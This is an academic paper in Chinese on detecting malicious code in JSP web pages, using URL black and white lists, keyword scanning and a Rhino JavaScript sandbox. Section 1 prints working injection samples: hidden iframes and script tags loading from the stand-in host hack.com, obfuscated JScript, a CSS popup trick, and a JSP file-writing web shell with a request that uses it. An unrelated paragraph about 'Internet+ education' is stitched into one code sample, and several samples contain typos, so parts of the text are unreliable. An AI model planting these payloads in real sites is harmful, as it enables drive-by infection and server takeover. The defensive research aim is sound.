网页恶意代码检测系统研究
2015-01-25赵莉凌翔
赵莉,凌翔
(西安工业大学 计算机科学与工程学院,陕西 西安 710021)
在网络和计算机技术的飞速发展的今天,网页已经成为传递信息最快捷,表现形式最丰富的信息载体之一。随着网站的广泛建设,其中的网页恶意代码的危害面和传播面也随之扩大。所以研究一套网页恶意代码检测系统就显得尤为的迫切和重要。现有的网页恶意代码检测方法大部分是基于蜜罐技术或者特征码识别技术,蜜罐技术检测准确率很高,但是效率较低,不适合于常规应用。而特征码识别更适合应用于二进制机器码,对解释执行的文本形式的网页脚本程序检出率较低且误报率较高。在总结了各种网页恶意代码嵌入技术的基础上。本系统采用了关键字检测与嵌入特征匹配的方法来检测网页恶意代码。由于网页恶意代码嵌入形式的多样性,以及网页文件构成的复杂性。网页恶意代码检测系统的关键点就在于如何能准确检测出网页文件各个组成部分中以不同形式嵌入的恶意代码,并做针对性的防护处理。使网页恶意代码检测系统能够有效阻止恶意代码运行带来的危害,这就是本文所研究的重点。
1 网页恶意代码嵌入方式
本文以主流的JSP网页文件为检测对象。JSP文件通常由HTML代码,JAVA代码,JS代码和CSS代码组成,这些代码类型都可以作为恶意代码来嵌入[1],方式举例如下:
1.1 恶意HTML代码的嵌入
1.1.1 框架嵌入
攻击者利用iframe语句将恶意代码加载到网页中可执行的嵌入形式是最有效的恶意代码嵌入技术之一。通常的代码如下:
<iframe src=http://www.hack.com/width=0 height=0></iframe>
访问者在打开插入该代码的网页的同时也打开了http://www.hack.com/页面,但是由于 iframe的长和宽都为“0”,所以在页面上是不显示的,具有很强的隐蔽性。
1.1.2 图片伪装嵌入
攻击者使用木马生成工具生成嵌入了恶意代码的图片,再利用代码调用执行。代码如下:
<html>
<iframe src="http://www.hack.com/hack.htm"height=0 width=0></iframe>
<img src="http://www.hello.com/hack.jpg”></center>
</html>
这段代码被浏览解释执行后会在浏览器界面上显示hack.jpg的图片,但是后台同时也执行了hack.htm网页。
1.2 恶意CSS代码的嵌入
典型的CSS挂马方式是通过 “background-image”配合JavaScript代码让网页木马悄悄地在用户的电脑中运行。代码如下:
Body{
background -image:url (javascript:open ('http://www.hack.com/','newwindow',' height=0, width=0, top=1000, left=0,toolbar=no, menubar=no, scrollbars=no, resizable =no,location=no, status=no'))
}
这段代码,使用了 JavaScript的 Open开窗,通过新开一个隐藏的窗口,在后台悄悄地运行新窗口并激活访问网页溢出木马页面,不会影响访问者观看网页内容,因此更加隐蔽。
1.3 恶意JavaScript代码的嵌入
1.3.1 JavaScript调用型恶意代码嵌入
使用直接的iframe框架嵌入很容易被发现,JavaScript调用型嵌入较之更有隐蔽性。JavaScript调用型嵌入是一种利用JavaScript脚本文件调用的原理进行的隐蔽恶意代码嵌入技术,如:黑客先制作一个.js文件,然后利用JavaScript代码调用到嵌入恶意代码的网页。通常代码如下:
<script src='http://www.hack.com/h.js'></script>
http://www.hack.com/h.js就是一个 JavaScript脚本文件,通过它调用和执行恶意程序的服务端。
1.3.2 JavaScript恶意代码加密嵌入
加密嵌入是通过 JavaScript的代码加密方法来加密嵌入的恶意代码[2],以此达到肉眼无法直接读懂代码的目的。这种方式嵌入的恶意代码具有更强的隐蔽性,示例代码如下:
<SCRIPT language=JScript.Encode>
#@~^UwAAAA==@#@&hr
NKhRKw U`rtOYa)&&Shhc4l13R1Ghzr~rJSJAr9Y4'8T!Btnr TtYxqZ!SDdbyC(V'xKJ*I@#@&3BgAAA==^#~@
</SCRIPT>
解密后得到以下代码:
<script language=Javascript>
window.open ("http://www.hack.com/","","width=100,height=100,resizable=no");
</script>
1.3.3 隐蔽嵌入
调用JavaScript的innerHTML方法向网页中写入恶意链接,用户点击后就会跳转到恶意网站。示例代码如下:
<html>
<body>
<div name="change"></div>
<script language="JavaScript">
</script>
</body>
</html>
1.3.4 高级欺骗
高级欺骗是在用户正常浏览网页的同时触发恶意代码执行的一种更加隐蔽的方法,如以下代码所示:
<html>
总之,“互联网+”时代机遇与挑战并存,“互联网+教育”的发展要求教师要具有更高的专业素养以及符合时代要求的信息技术能力。为此,高校教师要与时俱进,积极改革教学方式,不断提升自己的教学水平和信息素养,以此促进教师专业发展,以满足“互联网+教育”对高校教师综合素质的要求。
<script>
function www_hack_com()
{
var url="www.hack.com";
open (url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no, width=0,height=0,left=0,top=0");
}
</script>
<body>
<a href="http://www.baidu.com"onMouseOver="www_back_com();return ture"> 百度</a>
</body>
</html>
当用户点击 “百度”链接的同时会触发onMouseOver方法,使得浏览器跳转到百度首页时也执行了www_hack_com()打开隐形的恶意网页。
1.4 恶意JAVA代码的嵌入
黑客在JSP页面中嵌入如下JAVA代码:
<%
if(request.getParameter("filename")!=null)
new
java.io.FileOutputStream (application.getRealPath ("\")+request.getParameter ("filename"))).write(request.getParameter("content").getBytes());
%>
再通过浏览器端访问嵌入恶意代码的页面并加上参数,比如:
http://127.0.0.1:8080/test.jsp?filename=add.jsp&content=hello
然后使用浏览器访问http://127.0.0.1:8080/add.jsp就可以进入到add.jsp页面了
2 网页恶意代码检测
2.1 恶意HTML代码检测
从网页恶意代码嵌入的方式可以看出JSP中恶意HTML代码都是通过不显示的<iframe>框架方式或其他方式隐藏恶意链接在页面中,当用户访问该页面时浏览器自动或者欺骗用户手动点击跳转到恶意网站从而下载到远端的恶意程序。我们可以通过检测IFRAME的height和width是否为异常数据(比如为零或小于5),并且检测src中的链接是否安全[3-4]。
2.2 恶意JAVA代码检测
从JAVA恶意代码的嵌入方式及工作原理可以看出,Java 恶 意 代 码 主 要 是 使 用 mkdir,PrintWriter(newfile,write(request.getParameter等方法创建目录、文件并向文件中写入从浏览器端获取的数据。这些操作的代码由于Web应用安全的需要,很少出现在jsp页面中。我们可以通过对这些关键词的扫描来检测java恶意代码。
2.3 恶意CSS代码检测
从本文前面列出的CSS恶意代码嵌入方式可以看出攻击者是将恶意链接嵌入到HTML元素的样式中,当浏览器解释该页面的HTML代码时就会访问到CSS文件中的url从而访问到恶意链接。经过对网站系统中的JSP文件研究发现,网页文件中的链接大部分是指向本地并采用相对地址的方式。也就是说很少会出现链接中包含其他网站域名和IP地址的链接。如果出现这些链接则很可能是被嵌入了恶意代码。根据这个特点,本系统采取黑白名单结合的方式来提高检测效率。白名单取自中文网站排行榜TOP500(http://top.chinaz.com/top500/),黑名单取自360恶意网址列表(http://webscan-b.360.cn/url/)。检测方法是:分解出JSP文件中的CSS代码,提取出url,再对url进行判断,如果url是在白名单中则认为是安全的,如果url在黑名单中则判断为恶意代码。如果url既不在白名单也不在黑名单中,则接入网页检测接口查询。
2.4 恶意JavaScript代码检测
JavaScript恶意代码的嵌入方式最多,嵌入形式最复杂,所以JavaScript恶意代码检测是本系统需要解决的一个难点。我们知道JavaScript恶意代码会使用混淆技术和其他躲避技术来隐藏自己。这就导致了JavaScript恶意代码很难被直接通过关键字匹配或者恶意链接检测的方式准确的检测出来。但是由于混淆过的数据在执行过程中要被还原。例如对 write()参数的混淆,最终还是要还原后传递给 write()写出。所以,本系统内置了 JavaScript执行模块。对JavaScript解释执行后的输出结果进行检测就能使检测准确率大大提高。
本系统使用Rhino构建JavaScript脚本解释执行环境。Rhino引擎只能解析JavaScript脚本,不提供DOM操作的支持。要全面的检测JavaScript恶意代码就必须改进Rhino引擎使其支持DOM操作。Rhino解析引擎通过Java来解析JavaScript脚本,引擎解析脚本采用对象名称“name”和对象实例“class object”的直接映射,通过这种方式,脚本中的对象方法和对象属性的引用就可以做到Java中一样。遵循W3C标准创建除window之外对应的浏览器内置对象类,内置对象类有W3C标准内置对象的所有属性和方法,然后模拟浏览器执行属性的初始化,最后在线程中建立与W3C对象“同名的内置对象类”实例,并且通过如下方法将实例添加 到 scope[5-6]。
Context.javaToJS(document,jsExploration.getScope())
ScriptableObject.putProperty(s,"document",document)
经过以上处理之后,JavaScript脚本就可以直接引用document等浏览器内置对象,从而支持DOM操作了。
在解释执行JavaScript后,系统对产生的输出结果进行类似HTML恶意代码的检测。比如判断<iframe>的height和width属性及src链接安全性等。从而判断JavaScript代码的安全性。
3 系统设计
本系统采用B/S的结构设计,可以部署在目前主流的基于J2EE技术的网站系统中。为了增强系统的可扩展性和可维护性,把系统分成了几个模块:控制模块、网页分解模块、HTML及CSS恶意代码检测模块、JavaScript代码解释运行模块、JavaScript输出结果检测模块、恶意和信任链接库、JAVA恶意代码检测模块、恶意关键词库、日志模块。系统模块组成图如图1所示。
图1 系统结构Fig.1 System structure
1)控制模块
该模块提供用户操作接口且负责整个系统的控制和协调。同时完成数据初始化库。
2)网页分解模块
完成对待检测的网页的分解,将分解结果提交给各恶意代码检测模块。
3)HTML,CSS 恶意代码检测模块
完成对JSP页面中分离出来的HTML和CSS代码的检测,主要检测iframe的高宽属性和链接的安全性。
4)JavaScript代码解释执行模块
JavaScript恶意代码为了更好的隐藏自己,经常使用加密或者混淆的方式来避免被肉眼识别或者检测系统检出。该模块会对JavaScript代码解释执行,把JavaScript输出的结果送入检测模块检测,从而检测出经过加密或混淆的代码。
5)JavaScript输出结果检测模块
对JavaScript代码解释执行模块产生的HTML代码进行检测。
6)JAVA恶意代码检测模块
扫描代码,判断是否存在恶意关键词库中的关键词,如果存在即可判断文件存在JAVA恶意代码。
7)恶意和信任链接库
负责链接库的信息维护,可定时自动更新信任链接和恶意链接,也可手动增加、删除链接信息。同时,根据扫描中对未知链接使用第三方接口判断的结果,还可以自动添加链接信息。
8)恶意关键词库
维护JAVA恶意代码关键词,给JAVA恶意代码扫描提供参考信息。
9)日志模块
记录扫描日志,为修复系统漏洞,追踪恶意代码来源提供参考信息。
4 结 论
本文通过对JSP网页文件中的恶意代码的研究总结出了恶意代码的特征,结合了一般网站系统的特点提出了一种具有针对性的网页恶意代码检测系统,经验证该系统可以准确快速地检测出存在恶意代码的网页并进行初步防御处理。一般选择在服务器压力较小的情况下对站点的网页进行恶意代码检测,在保证了网站服务器性能的情况下使网页安全性得到了保障。
[1]李晓光.网页木马检测系统的设计与实现[D].北京:北京邮电大学,2012.
[2]Cova M,Kruegel C,Vigna G.Detection and Analysis of Drive-by-Download Attacks and Malicious JavaScript Code[R].USA,Proceedings of the International World Wide Web Conference,2010.
[3]黄建军,梁彬.基于植入特征的网页恶意代码检测[J].清华大学学报:自然科学版,2009,49(s2):2208-2214.HUANG Jian-jun,LIANG Bin.Web page malicious code detection based on embedded fingerprints[J].Tsinghua Univ:Sci&Tech,2009,49(s2):2208-2214.
[4]吴润浦,方勇,吴少华.基于统计与代码特征分析的网页木马检测模型[J].信息与电子工程,2009,7(1):71-75.WU Run-pu,FANG Yong,WU Shao-hua.Web trojan detection model based on statistics and code characteristics analysis[J].Information And Electronic Engineering,2009,7 (1):71-75.
[5]Invernizzi L,Comparetti PM,Benvenuti S,et al.Evilseed:A guided approach to finding malicious web pages[C]//Security and Privacy (SP), 2012 IEEE Symposium on.IEEE,2012:428-442.
[6]李蕊,魏更宇,王枞,等.Rhino解析引擎的分析与改进[C]//2010年全国通信安全学术会议论文集,2010:305-310.